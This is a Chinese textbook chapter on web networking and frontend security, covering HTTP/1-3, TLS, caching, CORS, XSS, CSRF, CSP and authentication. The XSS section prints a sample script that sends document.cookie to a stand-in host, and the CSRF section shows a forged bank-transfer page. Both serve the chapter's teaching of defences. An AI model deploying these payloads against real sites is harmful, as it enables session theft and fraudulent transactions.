Skip to content

第 24 章 · 网络与安全

一句话开篇:HTTP 是「快递公司的物流协议」,HTTPS 是「带封口贴的密封快递」,CORS 是「门卫的访客名单」,XSS/CSRF 是「冒充客人/伪造签名的小偷」——前端工程师必须把这些角色全搞清楚,否则上线一夜出大事。


0. 生活类比(先建立直觉)

网络通信 + 安全想象成一家快递公司送快递

真实场景快递场景
HTTP/1.1单线程快递员,一次只送一单
HTTP/2 多路复用一辆大货车一次装满多个包裹,按编号分发
HTTP/3 (QUIC)用电动车(UDP)跑,红绿灯也少(少握手)
HTTPS包裹外面贴了"国家邮政封条",路上有人撕开就能看出
强缓存你冰箱里还有牛奶(保质期内),不用再叫快递
协商缓存问超市"我家这瓶过期没?"超市说"没过期/过期了"
CORS你家门卫不让陌生人随便进,只让"白名单的朋友"进
XSS邻居偷偷在你门口贴了张"按这里有惊喜",按下后家里被偷
CSRF别人冒充你的签名,让快递员把你家东西拉走
CSP你给门卫发了张"只允许这几家公司"白名单

这一章学完,你能讲清楚互联网通信的全貌 + 前端最常见的 5 大攻防


1. HTTP 协议演进

1.1 三代版本对比

维度HTTP/1.1 (1997)HTTP/2 (2015)HTTP/3 (2022)
传输层TCPTCPUDP(QUIC)
多路复用❌(要排队)✅(一个 TCP 多个流)✅(且无队头阻塞)
头部压缩✅(HPACK)✅(QPACK)
服务器推送✅(已被 Chrome 弃用)减弱
队头阻塞有(应用层)解决了 HTTP 层,TCP 层仍有彻底解决
默认加密事实上必须 HTTPS强制
0-RTT 重连

1.2 HTTP/1.1 的痛点

浏览器 ──► 请求 a.js ──► [等等等] ──► 收到
        ──► 请求 b.css ──► [等等等] ──► 收到
        ──► 请求 c.png ──► [等等等] ──► 收到

每个 TCP 连接同一时间只能传一个请求(队头阻塞)。浏览器解决方法:对同域名最多 6 个并发连接。资源多了就慢。

1.3 HTTP/2:多路复用

浏览器 ──┬─► 流 1: a.js  ──┐
         ├─► 流 2: b.css ──┼─►【一条 TCP 上交错传输】
         └─► 流 3: c.png ──┘

一条 TCP 连接同时跑多个 stream,按帧(FRAME)交错传输,到达后按 stream id 重组。

头部压缩(HPACK):HTTP/1.1 每次都重复发 User-AgentCookie 这种几 KB 的头;HPACK 用静态表 + 动态表 + 哈夫曼编码,省 80%。

1.4 HTTP/3:用 UDP 解决 TCP 队头阻塞

HTTP/2 仍有问题:TCP 层的丢包会让所有 stream 一起卡住(TCP 必须按序收)。

HTTP/3 改用 UDP(QUIC 协议),每个 stream 独立 ACK,单 stream 丢包不影响其他

TCP 视角(HTTP/2):     ▓▓▓▓▓ ❌ ▓▓▓▓▓     一个包丢了,整条连接停下重传
QUIC 视角(HTTP/3):    ▓▓▓▓▓        其他 stream 正常跑,仅丢失 stream 重传
                       ▓▓▓ ❌ ▓▓
                       ▓▓▓▓▓

副作用:QUIC 是 UDP,部分企业防火墙会拦,需要回退到 HTTP/2/1.1。


2. HTTP 状态码

完整状态码很多,面试和工作中常考的就十几个

类别含义常见码
1xx信息100 Continue
2xx成功200 OK / 201 Created / 204 No Content
3xx重定向301永久 / 302临时 / 304 Not Modified
4xx客户端错400 / 401 未认证 / 403 禁止 / 404 / 405 / 429 限流
5xx服务端错500 / 502 网关 / 503 服务不可用 / 504 网关超时

重点对比

301 vs 302:永久 vs 临时——浏览器会记住 301,下次直接跳;302 不会缓存。

304 Not Modified:协商缓存命中,无 body,省流量。

401 vs 403:401 = "你没认证"(要登录);403 = "你认证了但没权限"。

502 vs 504

  • 502 Bad Gateway:网关收到了上游的"无效响应"(如上游崩了)
  • 504 Gateway Timeout:网关等了半天上游没回(上游慢)

3. HTTPS 原理

3.1 为什么要 HTTPS

HTTP 是明文传输,三大风险:

  1. 窃听:路上的网络设备能看到所有内容
  2. 篡改:能修改内容(最常见:运营商插广告)
  3. 冒充:能假装目标网站

3.2 加密三件套

加密方式速度密钥分发用途
对称加密双方需共享大量数据加密
非对称加密公钥可公开密钥协商、数字签名
哈希(摘要)极快无密钥完整性校验

HTTPS = 非对称加密协商出对称密钥 + 后续用对称加密通信 + 哈希校验完整性

3.3 TLS 握手(简化版)

Client                                       Server
  │                                             │
  │   1. ClientHello                            │
  │ ─────────────────────────────────────────►  │  支持的版本/套件、随机数 R1
  │                                             │
  │   2. ServerHello + 证书 + 公钥              │
  │ ◄─────────────────────────────────────────  │  选定版本/套件、随机数 R2、CA 签发的证书
  │                                             │
  │   3. 验证证书(CA 链 + 域名 + 有效期)       │
  │   生成预主密钥 R3,用公钥加密发回             │
  │ ─────────────────────────────────────────►  │
  │                                             │
  │   双方根据 R1+R2+R3 算出对称密钥             │
  │                                             │
  │   4. 后续通信用对称加密                      │
  │ ◄════════════════════════════════════════►  │

TLS 1.3 简化为 1-RTT(一次往返)就完成,比 1.2 的 2-RTT 快一半;甚至支持 0-RTT 重连。

3.4 证书

证书 = 域名 + 公钥 + CA 签名

浏览器内置了一份"信任的 CA 列表",验证证书时:

  1. 域名匹配?
  2. 在有效期内?
  3. CA 签名能用 CA 公钥验证通过?
  4. CA 链能追溯到根 CA?

任何一项不通过,浏览器红屏警告。


4. HTTP 缓存(决策流程图)

┌────────────────────────────────────────────────────────────────┐
│                       请求一个资源                              │
└────────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────────┐
│   ① Service Worker 拦截到?                                     │
│       是 → 由 SW 决定(cache.match / fetch / 自定义)            │
└────────────────────────────────────────────────────────────────┘
                            ↓ 否
┌────────────────────────────────────────────────────────────────┐
│   ② Memory Cache(内存缓存)有效?                              │
│       是 → 200 (from memory cache),关闭 tab 就没了              │
└────────────────────────────────────────────────────────────────┘
                            ↓ 否
┌────────────────────────────────────────────────────────────────┐
│   ③ Disk Cache(磁盘缓存)+ Cache-Control 没过期?               │
│       是 → 200 (from disk cache),强缓存命中                    │
└────────────────────────────────────────────────────────────────┘
                            ↓ 否
┌────────────────────────────────────────────────────────────────┐
│   ④ 协商缓存:发请求带                                           │
│       If-None-Match: <ETag>                                    │
│       If-Modified-Since: <Last-Modified>                       │
│   ─────────────────────────────────────────────────             │
│   服务器对比:                                                   │
│       ETag 一致 / 文件未修改 → 304 Not Modified(无 body)       │
│       否则 → 200 + 新内容 + 新 ETag                              │
└────────────────────────────────────────────────────────────────┘

关键 Header

Header作用例子
Cache-Control强缓存策略(最高优先级)max-age=31536000, immutable
Expires过期时间(绝对时间,已不推荐)Wed, 21 Oct 2026 07:28:00 GMT
ETag资源版本指纹(内容哈希)"a3f9c4"
Last-Modified资源最后修改时间Wed, 21 Oct 2026 07:28:00 GMT
If-None-Match请求带上以前收到的 ETag"a3f9c4"
If-Modified-Since请求带上以前收到的 Last-Modified(同上)

Cache-Control 常见值

含义
max-age=315360001 年内强缓存有效
no-cache不走强缓存,必须走协商缓存
no-store完全不缓存
public任意中间节点(CDN)可缓存
private只有终端浏览器可缓存
immutable内容永不变(带 hash 的资源)
s-maxage=NCDN/代理使用的过期时间,覆盖 max-age
stale-while-revalidate=N过期后先用旧的,后台刷新

实战策略

资源类型推荐策略
index.htmlCache-Control: no-cache
app.[hash].js/cssCache-Control: max-age=31536000, immutable
图片Cache-Control: max-age=2592000
动态 APICache-Control: no-store

5. 跨域(CORS)

5.1 什么是跨域

同源策略:协议、域名、端口三者完全相同才是"同源",否则跨域。

URLhttps://a.com/x
https://a.com/y同源 ✅
http://a.com/x跨域(协议不同)❌
https://b.com/x跨域(域名不同)❌
https://a.com:8080/x跨域(端口不同)❌
https://api.a.com/x跨域(子域不同)❌

跨域时,浏览器会默认拒绝返回的响应(请求其实发出去了,只是 JS 拿不到结果)。

5.2 CORS:服务端给浏览器"通行证"

CORS = Cross-Origin Resource Sharing,通过 HTTP 响应头放行。

简单请求 vs 复杂请求

满足以下全部条件 = 简单请求,不预检

  • 方法是 GET / HEAD / POST
  • Content-Type 是 text/plain / application/x-www-form-urlencoded / multipart/form-data
  • 不带自定义 header

否则 = 复杂请求,浏览器先发一次 OPTIONS 预检,问服务端"我能不能这样请求"。

预检流程

浏览器                                       服务器
  │                                             │
  │  OPTIONS /api/x                             │
  │  Origin: https://a.com                      │
  │  Access-Control-Request-Method: PUT          │
  │  Access-Control-Request-Headers: X-Token     │
  │ ────────────────────────────────────────►   │
  │                                             │
  │  204 No Content                             │
  │  Access-Control-Allow-Origin: https://a.com │
  │  Access-Control-Allow-Methods: PUT, POST    │
  │  Access-Control-Allow-Headers: X-Token       │
  │  Access-Control-Allow-Credentials: true     │
  │  Access-Control-Max-Age: 600                │  缓存预检结果 600s
  │ ◄────────────────────────────────────────   │
  │                                             │
  │  PUT /api/x  (真正的请求)                     │
  │ ────────────────────────────────────────►   │

关键响应头

Header作用
Access-Control-Allow-Origin允许的来源(不能用 * 配 Cookie
Access-Control-Allow-Methods允许的方法
Access-Control-Allow-Headers允许的自定义请求头
Access-Control-Allow-Credentials是否允许带 Cookie
Access-Control-Max-Age预检结果缓存时间
Access-Control-Expose-HeadersJS 能读取的响应头

5.3 其他跨域方案

方案原理适用
CORS服务端响应头放行现代标准 ✅
JSONP利用 <script> 标签可跨域,回调函数古老兼容(仅 GET)
postMessage跨窗口通信iframe 跨源
代理同域 Web 服务器转发到其他域开发环境(Vite proxy)
WebSocket协议本身不受同源策略限制实时通信

5.4 JSONP 简版

html
<script>
  function onUser(data) { console.log(data); }
</script>
<script src="https://api.com/user?callback=onUser"></script>

<!-- 服务端返回: onUser({ id: 1, name: 'alice' }) -->

⚠️ JSONP 只能 GET,且对方服务器要支持。安全性差(执行的是任意 JS)。


6. 安全:5 大攻击 + 防御

6.1 XSS(Cross-Site Scripting,跨站脚本)

本质:把恶意脚本注入到网页里,被其他用户的浏览器执行。

三种类型

类型攻击代码存在哪儿例子
存储型服务端数据库(最危险)评论里写 <script>...
反射型URL 参数(一次性)?q=<script>...
DOM 型完全在前端location.hash 拼到 DOM

攻击代码

html
<!-- 评论框输入 -->
<script>fetch('https://hacker.com/?c=' + document.cookie)</script>

如果服务端没转义就存数据库,下一个用户加载页面 → cookie 被偷。

防御代码

js
// ❌ 危险:直接 innerHTML
div.innerHTML = userInput;

// ✅ 安全 1:用 textContent,不解析 HTML
div.textContent = userInput;

// ✅ 安全 2:HTML 转义(手写或用库)
function escapeHtml(s) {
  return s.replace(/[&<>"']/g, c => ({
    '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;',
  }[c]));
}
div.innerHTML = escapeHtml(userInput);

// ✅ 安全 3:CSP(内容安全策略),从 HTTP 响应头限制可加载源
// Content-Security-Policy: script-src 'self'; object-src 'none';

// ✅ 安全 4:HttpOnly Cookie,JS 读不到
// Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict

CSP(Content Security Policy)

Content-Security-Policy: default-src 'self';
                        script-src 'self' https://cdn.example.com;
                        style-src 'self' 'unsafe-inline';
                        img-src 'self' data: https:;
                        object-src 'none';
                        base-uri 'self';
                        report-uri /csp-report;

CSP 是纵深防御——即使代码漏掉了转义,浏览器也不会执行外部脚本。

6.2 CSRF(Cross-Site Request Forgery,跨站请求伪造)

本质:用户已登录 A 站,访问 B 站时,B 站偷偷向 A 站发请求,浏览器自动带上 A 站 cookie,A 站以为是用户操作。

攻击代码

html
<!-- hacker.com/evil.html -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />
<!-- 或 POST 表单 -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="hacker" />
  <input name="amount" value="10000" />
</form>
<script>document.forms[0].submit()</script>

用户访问 evil.html → 自动带上 bank.com 的 cookie → 转账成功。

防御代码

1. SameSite Cookie(最重要)

Set-Cookie: token=xxx; SameSite=Lax; Secure; HttpOnly
SameSite 值行为
Strict完全不发跨站
Lax顶级导航(点链接进来)发;POST/iframe/img 不发
None跨站也发(必须配 Secure

现代浏览器默认 Lax,已能挡住绝大多数 CSRF。

2. CSRF Token

服务端在表单/响应里塞一个随机 token,提交时一起带上,服务端校验:

html
<form>
  <input type="hidden" name="csrf_token" value="abc123..." />
</form>
js
// 或者放在 header
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': csrfToken },
  body: JSON.stringify({ ... }),
});

3. 双重 Cookie 校验

请求时:
  Cookie: csrfToken=abc
  请求体或 Header: csrfToken=abc

服务端校验两者是否相等。

攻击者拿不到第三方域名的 cookie,所以伪造不出第二个值。

4. 校验 Referer / Origin

服务端检查请求来源是否是白名单域名。注意:Referer 可被浏览器策略禁用,建议两者都校验。

6.3 点击劫持(Clickjacking)

本质:把目标页面用透明 iframe 嵌到攻击页面上,诱导用户"点空白"实际点的是目标页按钮。

防御

X-Frame-Options: DENY              # 禁止任何页面 iframe 嵌入
X-Frame-Options: SAMEORIGIN        # 仅同源可嵌入

# 或更现代:
Content-Security-Policy: frame-ancestors 'self';

6.4 中间人攻击(MITM)

本质:在你和服务器之间插入一个"中间人"窃听/篡改。

防御:HTTPS + HSTS。

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

效果:浏览器记住"这个域名只能 HTTPS",下次自动升级,避免 SSL Strip。

6.5 SQL 注入(前端视角)

SQL 注入是后端的锅,但前端要做"第一道防线":

  • 输入校验(限制长度、字符集)
  • 不在前端拼 SQL(永远不要把 SQL 字符串发给后端)
  • 上报可疑输入

后端必须用参数化查询/ORM,不能拼字符串。


7. 鉴权方案

登录:
  浏览器  ───POST /login───►  服务器
  浏览器  ◄──Set-Cookie: sid=xxx──  服务器(在内存/Redis 里存 sid → user)

后续请求:
  浏览器  ───Cookie: sid=xxx───►  服务器查 sid 得到用户

优点:服务端可控(注销立即失效)。 缺点:服务端要存状态,分布式难(要 Redis);跨域麻烦。

7.2 Token(JWT)

JWT = Header.Payload.Signature(三段 base64)。

登录:
  浏览器  ───POST /login───►  服务器
  浏览器  ◄──{ token: 'eyJhbGc...' }──  服务器(用密钥签名生成)

后续请求:
  浏览器  ───Authorization: Bearer eyJhbGc...───►
       服务器验签即可,不查 DB

优点:无状态,水平扩展容易;适合移动端、SPA。 缺点:注销难(除非维护黑名单);payload 体积大;建议短期 + refresh token。

⚠️ JWT 的 payload 是 base64 编码,不是加密!别在里面放敏感信息。

7.3 OAuth 2.0(第三方登录)

最常见的"用 GitHub 登录"流程(授权码模式):

1. 用户点"GitHub 登录",跳转到 GitHub 授权页
       ?client_id=xxx&redirect_uri=https://app.com/cb&scope=user:email
2. 用户同意 → GitHub 跳回 redirect_uri?code=ABC
3. 你的后端拿 code + client_secret → POST GitHub /oauth/token
4. GitHub 返回 access_token
5. 你的后端用 access_token 调 GitHub API 拿用户信息
6. 你的后端创建本地 session/jwt 给前端

为什么不直接给 token?因为 client_secret 不能暴露在前端,必须后端中转。

7.4 SSO(单点登录)

公司 N 个系统,登录一次全部生效。常见实现:

  • 同顶级域名:Cookie 设到 .company.com,所有子域共享
  • CAS / OAuth / OIDC:通过中央认证中心颁发 token

8. ⚠️ 易踩的坑

  1. Access-Control-Allow-Origin: *Allow-Credentials: true——浏览器会拒绝。带 Cookie 必须明确写来源。

  2. CSRF Token 放在 GET 参数里——容易被 Referer 泄漏。放 Header 或 POST body。

  3. JWT payload 当加密用——只是 base64。任何人都能解码。

  4. Cookie 不设 Secure——HTTP 页面会泄漏 cookie。生产必须 Secure + HttpOnly + SameSite

  5. 只在前端做校验,后端不校验——所有前端校验都能被绕过(DevTools 改包就行)。前端做体验,后端兜底。

  6. innerHTML 处理用户输入——XSS 经典入口。改 textContent 或转义。

  7. CSP 加 'unsafe-inline'——基本等于没加,等于允许任意内联脚本。

  8. 以为 HTTPS 就万事大吉——HTTPS 只解决传输层;XSS/CSRF/SQL 注入仍然能打。

  9. CORS 在线上不生效——常见原因:CDN/Nginx 把 OPTIONS 拦了,没透传到后端;或多个 Access-Control-Allow-Origin 头。

  10. 强缓存了 HTML——发布新版本,老用户怎么也刷不出来。HTML 必须 no-cache

  11. 预检请求触发 401——OPTIONS 不带 cookie,被鉴权中间件挡了。需放行 OPTIONS。

  12. 图片热链导致 Referer 防盗链失败——<meta name="referrer" content="no-referrer"> 会清空所有 Referer。


9. 一句话总结

网络与安全 = 通信协议 + 缓存策略 + 跨域 + 攻防:HTTP 用 1/2/3 演进解决了"快",HTTPS 用 TLS 解决了"安全",CORS 用响应头解决了"跨域",XSS/CSRF/CSP/SameSite 解决了"攻防"——这一章是前端和后端的边界,也是面试官最爱挑刺的地方。


10. 延伸阅读